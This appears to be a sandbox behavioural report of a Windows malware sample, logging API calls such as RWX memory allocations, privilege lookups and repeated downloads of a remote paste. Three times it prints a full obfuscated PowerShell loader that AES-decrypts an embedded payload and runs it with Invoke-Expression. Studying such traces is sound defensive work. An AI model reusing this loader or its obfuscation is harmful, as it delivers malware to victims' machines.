
NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02216000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02217000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02218000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02219000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04ba0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04ba1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04ba2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04ba3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04ba4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04ba5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04ba6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04ba7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04ba8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04ba9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04baa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04bab000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04bac000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04bad000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04bae000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04baf000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04bb0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04bb1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04bb2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04bb3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04bb4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI74328840722782576545825437205778CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIDFmt3MLNsK5aPpWbbIsBztpHuNrvMKi2jQU7fNLn0oMezIRYvIXeNHjkzcV0L3UZYqPgeEeMmKQG749m6fkiZBxoCMJZ51QJHUT+m0EixkU8s9qZ5cpt1AKID+ZFqc5VpkXFfLxCerM+fcw3/kGciLCo7LgS8a4BaZ48pjFi24pfdcuQwkClSibjgqYqSip9y5/dCAf6Nzz5QdAkde9PIMAQZt2oUDP7dM+N5eg9rXEnjwn0B2AWan/di8xNl5jllqI+bDLqPspcx8R2k37fOc1z9LI4HEbUAqTWIxNOW9Uzsaag6AHwENZIp1xGiyWFcUXdCTQMEJlfNcCdYWMwhQ8RdsHTWNZupvIsEHo9vGitwpM43p2UMy8PZdoCkoOiBohaKNZtbWS+t1FKRuAyozJz3z74u8Vq9GpIRAkOMw8Kce1yYCWbyqrbANO0I1sbG6lSeb394etA7LVCP7hnCd910mPNaByk1+GkhpZNKwJYERN9oxVzZ3zYiiaMZwUOoF547hGx+VxnktvtvwHpGFpj/nNK0aZRiXnJNQyLPmKiTH9ScDobO07O3QmUe3aUKuHE6/91ZF5RkyQDZgU3WV7dVPaYAApQkivkedaUvxlbEitTCnkzDfrKLvgbQym5DyAWxvPRhBT3lzI0GAFR9RPITKZ5R26nBhOhfd5An5QV6eF/Q9qnF0+3INT0tqVhhlfUi6O/pD0Cnw+o1GM92kSZ1OY51Ke+iJabzAenJU6aKyir+3zjfzS1NjosWlMcxOT2hGbn7Q2NS5O67xvgTYR6JNIQy2QOJ5IQ74EtDP9YC3iuyPh3b9ZxN7SbcmuV7PyW9uMV0jTdXQyOjbN+MB7Lr2GeM71Ug4wJ1FSPUzLChYRSFvdW61JiXWDA8fxVqqa55yq2wbjRGx8bbBGKECqW98HG4Tt8kzQyhom1+6KQjGm9fttMB6IBs/tqSiGidiRNHvVuwagWPJc27hAGyVLLYmDieAZSWpzJfYBprtbZqIM4F4/8ORw4hALpcN00nwkezpiCNsEU1DVU/xjCu/NROHLpmin8A/ao8gxb1PbnA/aJbvT4iU7LWDoIaRgO6m5wnG5eZf5Bnp3Bu4pvMAB8mgkwSAlTxHrIP79+Rl9lzLULYVHqNDbC7ukR1y9OFQKMLb2RUPx3XDyT8Da6AT9OFvAw8DLGT5R42eH3BmcweUr45fMCNAtjsYGeKAhGwasQKil9m5sWs3BmuR1JzMmTOxz+jiFF+yxy7buKzTOYO5vp2MrgqhXRZnS7osSb0yxELPfYkXpHhY1UZxV0bH8M9Cf0FGE3GnOR6qi0rlIU1lVj/cK367cmqZwIv0f3dzIBK1lhxQ2Lzo1tml4es+/vdjtLO1uRrYIGg/PiF0Z8kulZ38pXe6E1/MoMnArEygx0T4yYP/4ZHZaSfHoMfk09xITstL9nkUMi3iaGtKg=CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
cmdline powershell.exe -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI74328840722782576545825437205778CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIDFmt3MLNsK5aPpWbbIsBztpHuNrvMKi2jQU7fNLn0oMezIRYvIXeNHjkzcV0L3UZYqPgeEeMmKQG749m6fkiZBxoCMJZ51QJHUT+m0EixkU8s9qZ5cpt1AKID+ZFqc5VpkXFfLxCerM+fcw3/kGciLCo7LgS8a4BaZ48pjFi24pfdcuQwkClSibjgqYqSip9y5/dCAf6Nzz5QdAkde9PIMAQZt2oUDP7dM+N5eg9rXEnjwn0B2AWan/di8xNl5jllqI+bDLqPspcx8R2k37fOc1z9LI4HEbUAqTWIxNOW9Uzsaag6AHwENZIp1xGiyWFcUXdCTQMEJlfNcCdYWMwhQ8RdsHTWNZupvIsEHo9vGitwpM43p2UMy8PZdoCkoOiBohaKNZtbWS+t1FKRuAyozJz3z74u8Vq9GpIRAkOMw8Kce1yYCWbyqrbANO0I1sbG6lSeb394etA7LVCP7hnCd910mPNaByk1+GkhpZNKwJYERN9oxVzZ3zYiiaMZwUOoF547hGx+VxnktvtvwHpGFpj/nNK0aZRiXnJNQyLPmKiTH9ScDobO07O3QmUe3aUKuHE6/91ZF5RkyQDZgU3WV7dVPaYAApQkivkedaUvxlbEitTCnkzDfrKLvgbQym5DyAWxvPRhBT3lzI0GAFR9RPITKZ5R26nBhOhfd5An5QV6eF/Q9qnF0+3INT0tqVhhlfUi6O/pD0Cnw+o1GM92kSZ1OY51Ke+iJabzAenJU6aKyir+3zjfzS1NjosWlMcxOT2hGbn7Q2NS5O67xvgTYR6JNIQy2QOJ5IQ74EtDP9YC3iuyPh3b9ZxN7SbcmuV7PyW9uMV0jTdXQyOjbN+MB7Lr2GeM71Ug4wJ1FSPUzLChYRSFvdW61JiXWDA8fxVqqa55yq2wbjRGx8bbBGKECqW98HG4Tt8kzQyhom1+6KQjGm9fttMB6IBs/tqSiGidiRNHvVuwagWPJc27hAGyVLLYmDieAZSWpzJfYBprtbZqIM4F4/8ORw4hALpcN00nwkezpiCNsEU1DVU/xjCu/NROHLpmin8A/ao8gxb1PbnA/aJbvT4iU7LWDoIaRgO6m5wnG5eZf5Bnp3Bu4pvMAB8mgkwSAlTxHrIP79+Rl9lzLULYVHqNDbC7ukR1y9OFQKMLb2RUPx3XDyT8Da6AT9OFvAw8DLGT5R42eH3BmcweUr45fMCNAtjsYGeKAhGwasQKil9m5sWs3BmuR1JzMmTOxz+jiFF+yxy7buKzTOYO5vp2MrgqhXRZnS7osSb0yxELPfYkXpHhY1UZxV0bH8M9Cf0FGE3GnOR6qi0rlIU1lVj/cK367cmqZwIv0f3dzIBK1lhxQ2Lzo1tml4es+/vdjtLO1uRrYIGg/PiF0Z8kulZ38pXe6E1/MoMnArEygx0T4yYP/4ZHZaSfHoMfk09xITstL9nkUMi3iaGtKg=CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: powershell.exe
parameters: -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI74328840722782576545825437205778CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIDFmt3MLNsK5aPpWbbIsBztpHuNrvMKi2jQU7fNLn0oMezIRYvIXeNHjkzcV0L3UZYqPgeEeMmKQG749m6fkiZBxoCMJZ51QJHUT+m0EixkU8s9qZ5cpt1AKID+ZFqc5VpkXFfLxCerM+fcw3/kGciLCo7LgS8a4BaZ48pjFi24pfdcuQwkClSibjgqYqSip9y5/dCAf6Nzz5QdAkde9PIMAQZt2oUDP7dM+N5eg9rXEnjwn0B2AWan/di8xNl5jllqI+bDLqPspcx8R2k37fOc1z9LI4HEbUAqTWIxNOW9Uzsaag6AHwENZIp1xGiyWFcUXdCTQMEJlfNcCdYWMwhQ8RdsHTWNZupvIsEHo9vGitwpM43p2UMy8PZdoCkoOiBohaKNZtbWS+t1FKRuAyozJz3z74u8Vq9GpIRAkOMw8Kce1yYCWbyqrbANO0I1sbG6lSeb394etA7LVCP7hnCd910mPNaByk1+GkhpZNKwJYERN9oxVzZ3zYiiaMZwUOoF547hGx+VxnktvtvwHpGFpj/nNK0aZRiXnJNQyLPmKiTH9ScDobO07O3QmUe3aUKuHE6/91ZF5RkyQDZgU3WV7dVPaYAApQkivkedaUvxlbEitTCnkzDfrKLvgbQym5DyAWxvPRhBT3lzI0GAFR9RPITKZ5R26nBhOhfd5An5QV6eF/Q9qnF0+3INT0tqVhhlfUi6O/pD0Cnw+o1GM92kSZ1OY51Ke+iJabzAenJU6aKyir+3zjfzS1NjosWlMcxOT2hGbn7Q2NS5O67xvgTYR6JNIQy2QOJ5IQ74EtDP9YC3iuyPh3b9ZxN7SbcmuV7PyW9uMV0jTdXQyOjbN+MB7Lr2GeM71Ug4wJ1FSPUzLChYRSFvdW61JiXWDA8fxVqqa55yq2wbjRGx8bbBGKECqW98HG4Tt8kzQyhom1+6KQjGm9fttMB6IBs/tqSiGidiRNHvVuwagWPJc27hAGyVLLYmDieAZSWpzJfYBprtbZqIM4F4/8ORw4hALpcN00nwkezpiCNsEU1DVU/xjCu/NROHLpmin8A/ao8gxb1PbnA/aJbvT4iU7LWDoIaRgO6m5wnG5eZf5Bnp3Bu4pvMAB8mgkwSAlTxHrIP79+Rl9lzLULYVHqNDbC7ukR1y9OFQKMLb2RUPx3XDyT8Da6AT9OFvAw8DLGT5R42eH3BmcweUr45fMCNAtjsYGeKAhGwasQKil9m5sWs3BmuR1JzMmTOxz+jiFF+yxy7buKzTOYO5vp2MrgqhXRZnS7osSb0yxELPfYkXpHhY1UZxV0bH8M9Cf0FGE3GnOR6qi0rlIU1lVj/cK367cmqZwIv0f3dzIBK1lhxQ2Lzo1tml4es+/vdjtLO1uRrYIGg/PiF0Z8kulZ38pXe6E1/MoMnArEygx0T4yYP/4ZHZaSfHoMfk09xITstL9nkUMi3iaGtKg=CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
filepath: powershell.exe
1 1 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
host 198.46.176.133
Time & API Arguments Status Return Repeated

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

InternetCrackUrlA

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

InternetReadFile

 buffer: Function Adnascente(anilocros, gomma, berro) Dim feramina feramina = Split(anilocros, gomma) Adnascente = Join(feramina, berro) End Function
request_handle: 0x00cc000c
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

InternetReadFile

 buffer: Function Adnascente(anilocros, gomma, berro) Dim feramina feramina = Split(anilocros, gomma) Adnascente = Join(feramina, berro) End Function
request_handle: 0x00cc000c
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

InternetReadFile

 buffer: Function Adnascente(anilocros, gomma, berro) Dim feramina feramina = Split(anilocros, gomma) Adnascente = Join(feramina, berro) End Function
request_handle: 0x00cc000c
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

InternetReadFile

 buffer: Function Adnascente(anilocros, gomma, berro) Dim feramina feramina = Split(anilocros, gomma) Adnascente = Join(feramina, berro) End Function
request_handle: 0x00cc000c
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

InternetReadFile

 buffer: Function Adnascente(anilocros, gomma, berro) Dim feramina feramina = Split(anilocros, gomma) Adnascente = Join(feramina, berro) End Function
request_handle: 0x00cc000c
1 1 0
Time & API Arguments Status Return Repeated

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

send

 buffer: !
socket: 1228
sent: 1
1 1 0

send

 buffer: plf»Ä¿‡æ-“ävëù?PÁWÚËÍq¯OÄ/FYH/5 ÀÀÀ À 28+ÿ pastecode.dev  
socket: 1328
sent: 117
1 117 0

send

 buffer: !
socket: 1228
sent: 1
1 1 0

send

 buffer: FBA´ ™îe»Øäåß,?x—s5fçÔ ßÝg8©æGB 4г¤á²Y|ÄéôYà38\ˁ'í­/¿’Ÿòû0ó¿N|~þeéD»ôëþ•"YÀÁaš?¢¨"R3ÚS®Cç„þ3NÞÛ8UIVdR
socket: 1328
sent: 134
1 134 0

send

 buffer: !
socket: 1228
sent: 1
1 1 0

send

 buffer: P-ňºªƒ_Rû‰Û¬@—O”Ò_y’xþJÕև’ä¶ãpeÚÃØß{ è÷è[!Oe1¼–oÌè°é<âˆHz§b¿c0­ KŠû;?¿?ø¦U³ÄdŒ¿™µNÒÖå²an?þ]Š¨~¼úçèeh*m¸;WTlÛô­-ß0MEÃØ,¡~Šïõéð.KÃrEƒ» ·À'EQ@‰§Ä4Œ¹ÔV‘»CFÄWT£#x»Ä”saîÝp[xT„K³ï¾ïFìŠyX®[ÆãÎÊÄïËá™H/â…tuÕ£×ØNÒ¦Y§§"YÓ+™]HÏWãù)¡+â®Èܔ±úAą5 ´¾YÍgHÚ¥á;pPÎcßå¢Ú-V×ýõ‡ŒKQóYKŸo$ÉÌ$¨9HV‰-Á ȟánnmžà·y’|(¬‚EÎá
socket: 1328
sent: 341
1 341 0

send

 buffer: !
socket: 1228
sent: 1
1 1 0

InternetCrackUrlA

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

send

 buffer: °¸ ú2ä=öÃ1aý¿0ˆ3@²t Qöˆ² (ì\øc¤Î„mVù 4ë•õ{·yc÷¾ÍíÀ¼‰^ÝDe4\0FVmèÊɒ¹ÒüE%iií«ðòÙ9Ò»ªRç8/¼¥ÖEsSBá~ì Bãؑ#¦ý¦_4 •¶)<U?¶¥ËM+MèBqçûh8è¶+=µ@( ®*ùD‚]ò­]݋# y)ô¶-¥ ~©=.ß饸´B¯±b*ýî<ûÎàj{ÞMˊòMd›àÔ×YB¼Ä¸Âï ð f¹p•fۿ聃T8c¶HQ÷ì 63‚0A|¼Ü“P] @B§0èD-ÜI˜B…͈Ù ýµÑBr~Ê;ž•@ 4] ?n45Mœgø@Jòe˜Õ%à³³%¾-X¸âÞWäˆA…¼Øñ7ǯ4߃Š^³]r§~5WØ܆fD%ál”žGdþ tØ­¾-¤düê Ú±œ+³/ŽåÁµûuBrŒ•Km(B2sf©§ˆöEGpìÂiøËp¸@ºç„
socket: 1328
sent: 437
1 437 0

send

 buffer: !
socket: 1228
sent: 1
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

send

 buffer: °ÄþGpz'GšDXᡋVÏô³%V/0שrF)QñUTíŒ9^(ÓÜìÏ&däY™ê&›Þýu-¶%Ê'ò^n`pD’9 çÜsvåû‰Ï>GÊñV`Ådç<W#ðKÇI $ª¨e¾"¾h è-< Ý°þþ0²Épގ©9Ü^Þ]ùáUz²*ëXf,(M`ÛK=%Æ0Ã(Ì^3^]<Ñv‚pN×QLñ"°OžætxX8áÆ!7n'á EÑþg<–›°FY²gÿž|*•eòÉ"«òwÇAöâ¨Æk¢T|Ä!@`¸AY°Z Œ.¹e–œ*n>ê[êÏ6gŸÏ;¶LÿËË%¶±åÆ|•&«‡@¿×¡0/Øf,hĘC)î7°úí©mšÕ¤ÐA0§¨1u`zÅ%㸞«æáë¤{ì=NÌ;h~=ÝGp@ ™È¥3”N¡œÆ +åº ¬R^›.™î:¦N`²5¥^_ƒ *ã‹8 ô†)9ILn|$æèºTœ’‡LҝüÊ,¯h/So¬1aøó7w
socket: 1328
sent: 437
1 437 0

send

 buffer: !
socket: 1228
sent: 1
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
